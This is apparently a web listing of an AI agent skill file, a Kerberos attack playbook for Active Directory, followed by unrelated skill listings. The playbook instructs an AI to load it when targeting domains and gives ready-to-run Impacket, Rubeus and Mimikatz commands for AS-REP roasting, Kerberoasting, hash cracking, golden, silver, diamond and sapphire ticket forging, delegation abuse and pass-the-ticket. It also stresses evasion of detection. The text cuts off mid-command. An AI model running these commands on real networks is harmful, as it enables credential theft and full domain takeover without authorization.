active-directory-kerberos-attacks
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.
What this skill does
# SKILL: Kerberos Attack Playbook — Expert AD Attack Guide > **AI LOAD INSTRUCTION**: Expert Kerberos attack techniques for AD environments. Covers AS-REP roasting, Kerberoasting, golden/silver/diamond/sapphire tickets, delegation attacks, pass-the-ticket, and overpass-the-hash. Base models miss ticket type distinctions, delegation chain nuances, and detection-evasion trade-offs. ## 0. RELATED ROUTING Before going deep, consider loading: - [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL-based AD attacks often chained with Kerberos - [active-directory-certificate-services](../active-directory-certificate-services/SKILL.md) for ADCS-based persistence (golden certificate) - [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for NTLM relay attacks that complement Kerberos abuse - [windows-lateral-movement](../windows-lateral-movement/SKILL.md) after obtaining tickets for lateral movement ### Advanced Reference Also load [KERBEROS_ATTACK_CHAINS.md](./KERBEROS_ATTACK_CHAINS.md) when you need: - Multi-step attack chains combining Kerberos with ACL abuse, ADCS, and relay - End-to-end scenarios from foothold to domain admin - Chained delegation attack flows --- ## 1. KERBEROS AUTHENTICATION PRIMER ``` Client KDC (DC) Service │ │ │ │── AS-REQ ────────→│ │ (1) Request TGT with user creds │←─ AS-REP ─────────│ │ (2) Receive TGT (encrypted with krbtgt hash) │ │ │ │── TGS-REQ ───────→│ │ (3) Present TGT, request service ticket │←─ TGS-REP ────────│ │ (4) Receive TGS (encrypted with service hash) │ │ │ │── AP-REQ ─────────────────────────────→│ (5) Present TGS to service │←─ AP-REP ──────────────────────────────│ (6) Mutual auth (optional) ``` --- ## 2. AS-REP ROASTING Users with "Do not require Kerberos preauthentication" can be queried for AS-REP without knowing their password. ### Enumerate Vulnerable Users ```bash # Impacket — from Linux GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep.txt # Impacket — with domain creds (enumerate automatically) GetNPUsers.py DOMAIN/user:password -dc-ip DC_IP -request # Rubeus — from Windows (domain-joined) Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt # PowerView — enumerate users Get-DomainUser -PreauthNotRequired | Select-Object samaccountname ``` ### Crack AS-REP Hash ```bash # Hashcat mode 18200 hashcat -m 18200 asrep.txt rockyou.txt --rules-file best64.rule # John john asrep.txt --wordlist=rockyou.txt ``` --- ## 3. KERBEROASTING Any domain user can request TGS for accounts with SPNs. The TGS is encrypted with the service account's NTLM hash. ### Request Service Tickets ```bash # Impacket GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile tgs.txt # Rubeus (from Windows) Rubeus.exe kerberoast /outfile:tgs.txt # Rubeus — target specific SPN / high-value accounts Rubeus.exe kerberoast /user:svc_sql /outfile:tgs_sql.txt # PowerView + manual request Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/db.domain.com" ``` ### Crack TGS Hash ```bash # Hashcat mode 13100 (RC4) or 19700 (AES) hashcat -m 13100 tgs.txt rockyou.txt --rules-file best64.rule # RC4 tickets crack much faster than AES256 — target RC4 if possible # Rubeus: /tgtdeleg forces RC4 on some configs Rubeus.exe kerberoast /tgtdeleg ``` --- ## 4. TICKET FORGING — GOLDEN, SILVER, DIAMOND, SAPPHIRE ### Golden Ticket Forge TGT using the `krbtgt` hash → impersonate any user, including non-existent ones. ```bash # Impacket — forge golden ticket ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM administrator # Mimikatz kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /ptt # Rubeus Rubeus.exe golden /rc4:KRBTGT_HASH /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /ptt ``` **Prerequisites**: krbtgt NTLM hash (from DCSync or NTDS.dit) **Persistence**: Valid until krbtgt password is changed **twice** ### Silver Ticket Forge TGS using the service account's hash → access specific service only, no KDC interaction. ```bash # Impacket — forge silver ticket for CIFS (file share) ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM -spn cifs/target.domain.com administrator # Mimikatz kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /target:target.domain.com /service:cifs /rc4:SERVICE_HASH /ptt ``` | Target Service | SPN Format | Use Case | |---|---|---| | File shares | `cifs/host` | Access SMB shares | | WinRM | `http/host` | Remote PowerShell | | LDAP | `ldap/dc` | DCSync-like queries | | MSSQL | `MSSQLSvc/host:1433` | Database access | | Exchange | `http/mail.domain.com` | Mailbox access | ### Diamond Ticket Modify a legitimately issued TGT → harder to detect than golden ticket. ```bash # Rubeus — request real TGT then modify PAC Rubeus.exe diamond /krbkey:KRBTGT_AES256 /user:administrator /domain:DOMAIN.COM /dc:DC01.DOMAIN.COM /ticketuser:targetadmin /ticketuserid:500 /groups:512 /ptt ``` **Advantage**: The ticket's metadata (timestamps, enc type) matches a real TGT issuance. ### Sapphire Ticket Uses S4U2Self to get a real PAC for the target user, then embeds it in a forged ticket. ```bash # Rubeus Rubeus.exe diamond /krbkey:KRBTGT_AES256 /ticketuser:administrator /ticketuserid:500 /groups:512 /tgtdeleg /ptt ``` **Advantage**: PAC is a genuine copy from KDC, making detection extremely difficult. --- ## 5. DELEGATION ATTACKS ### Unconstrained Delegation Hosts with unconstrained delegation store user TGTs in memory. ```bash # Enumerate (PowerView) Get-DomainComputer -Unconstrained | Select-Object dnshostname # Coerce admin authentication → capture TGT (Rubeus monitor mode) Rubeus.exe monitor /interval:5 /nowrap # Trigger via PrinterBug / PetitPotam → DC authenticates → TGT captured SpoolSample.exe DC01.domain.com COMPROMISED_HOST.domain.com ``` ### Constrained Delegation (S4U2Proxy) ```bash # Enumerate Get-DomainComputer -TrustedToAuth | Select-Object dnshostname,msds-allowedtodelegateto # S4U2Self + S4U2Proxy → get TGS for allowed service as any user getST.py -spn cifs/target.domain.com -impersonate administrator DOMAIN/svc_account:password -dc-ip DC_IP # Rubeus Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.domain.com /ptt ``` ### Resource-Based Constrained Delegation (RBCD) Requires write access to `msDS-AllowedToActOnBehalfOfOtherIdentity` on the target. ```bash # 1. Create or control a computer account (MAQ > 0) addcomputer.py -computer-name 'FAKE$' -computer-pass 'P@ss123' -dc-ip DC_IP DOMAIN/user:password # 2. Set RBCD on target rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' -dc-ip DC_IP -action write DOMAIN/user:password # 3. S4U2Self + S4U2Proxy from controlled account getST.py -spn cifs/TARGET.DOMAIN.COM -impersonate administrator DOMAIN/'FAKE$':'P@ss123' -dc-ip DC_IP # 4. Use the ticket export KRB5CCNAME=administrator.ccache psexec.py -k -no-pass DOMAIN/[email protected] ``` --- ## 6. PASS-THE-TICKET & OVERPASS-THE-HASH ### Pass-the-Ticket ```bash # Impacket — use .ccache ticket export KRB5CCNAME=/path/to/ticket.ccache psexec.py -k -no-pass DOMAIN/[email protected] # Mimikatz — inject .kirbi ticket into session kerberos::ptt ticket.kirbi # Rubeus Rubeus.exe ptt /ticket:base64_ticket_blob ``` ### Overpass-the-Hash (Pass-the-Key) Use NTLM hash to request a Kerberos TGT → pure Kerberos authentication (avoids NTLM logging). ```bash # Impacket getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_
Related in Ads & Marketing
ads
IncludedMulti-platform paid advertising audit and optimization skill. Analyzes Google, Meta, YouTube, LinkedIn, TikTok, Microsoft, and Apple Ads. 250+ checks with scoring, parallel agents, industry templates, and AI creative generation.
banana
IncludedAI image generation Creative Director powered by Google Gemini Nano Banana models. Use this skill for ANY request involving image creation, editing, visual asset production, or creative direction. Triggers on: generate an image, create a photo, edit this picture, design a logo, make a banner, visual for my anything, and all /banana commands. Handles text-to-image, image editing, multi-turn creative sessions, batch workflows, and brand presets.
rpg-migration-analyzer
IncludedAnalyzes legacy RPG (Report Program Generator) programs from AS/400 and IBM i systems for migration to modern Java applications. Extracts business logic from RPG III/IV/ILE source code, identifies data structures (D-specs), file operations (F-specs), program dependencies (CALLB/CALLP), and converts RPG constructs to Java equivalents. Generates migration reports, complexity estimates, and Java implementation strategies with POJO classes, JPA entities, and service methods. Use when modernizing AS/400 or IBM i legacy systems, analyzing RPG source files (.rpg, .rpgle, .RPGLE), converting RPG to Java, mapping data specifications to Java classes, planning legacy system migration, or when user mentions RPG analysis, Report Program Generator, RPG III/IV/ILE, AS/400 modernization, IBM i migration, packed decimal conversion, or mainframe application rewrite.
brand-library-architect
IncludedBuild a complete brand library for a product — visual asset render pipeline, brand documentation set (BRAND, COPY, MANIFESTO, BIOS, FAQ, GLOSSARY, TONE, PRICING), open-source convention files (README, CONTRIBUTING, SECURITY, CODE_OF_CONDUCT), and a self-contained press kit. This skill should be used when the user asks to "build a brand library / brand kit / press kit / brand assets" for a product, "set up a brand library workflow," "create a positioning manifesto plus visual identity," or any combination of brand documentation + visual asset pipeline. Apply phase-by-phase or run end-to-end. Templates are product-agnostic and use {{TOKEN}} placeholders the skill prompts the user to fill.
writing-tech-post
IncludedAuthors engineering blog posts end-to-end: launch deep-dives, incident postmortems, architecture migrations, performance case studies, tutorials, AI/agent system writeups, security disclosures, and research-to-product translations. Picks the correct archetype, plans the abstraction ladder, enforces an evidence cadence (diagrams, benchmarks, profiles, traces, code, ablations), tunes voice against publisher house styles (Datadog, Vercel, GitHub, AWS, Meta, Cloudflare, Jane Street), and runs a pre-publish gate for narrative momentum and disclosure ethics. Use when drafting a new engineering post, restructuring a draft that feels flat, deciding which evidence form belongs where, validating that depth and product context are balanced, or preparing a postmortem, migration, or performance narrative for external publication. Do not use for API reference documentation, README authoring, marketing copy, release notes, generic SEO content, ghost-written executive thought leadership, or non-engineering long-form essays.
blog-google
IncludedGoogle API integration for blog performance: PageSpeed Insights, CrUX Core Web Vitals with 25-week history, Search Console performance, URL Inspection, Indexing API, GA4 organic traffic, NLP entity analysis for E-E-A-T, YouTube video search for embedding, and Google Ads Keyword Planner. Progressive feature availability based on credential tier (API key, OAuth/service account, GA4, Ads). Shares config with claude-seo at ~/.config/claude-seo/google-api.json. Use when user says "google data", "page speed", "core web vitals", "search console", "indexation", "GA4", "keyword research", "nlp entities", "blog performance", "youtube search", "google api setup".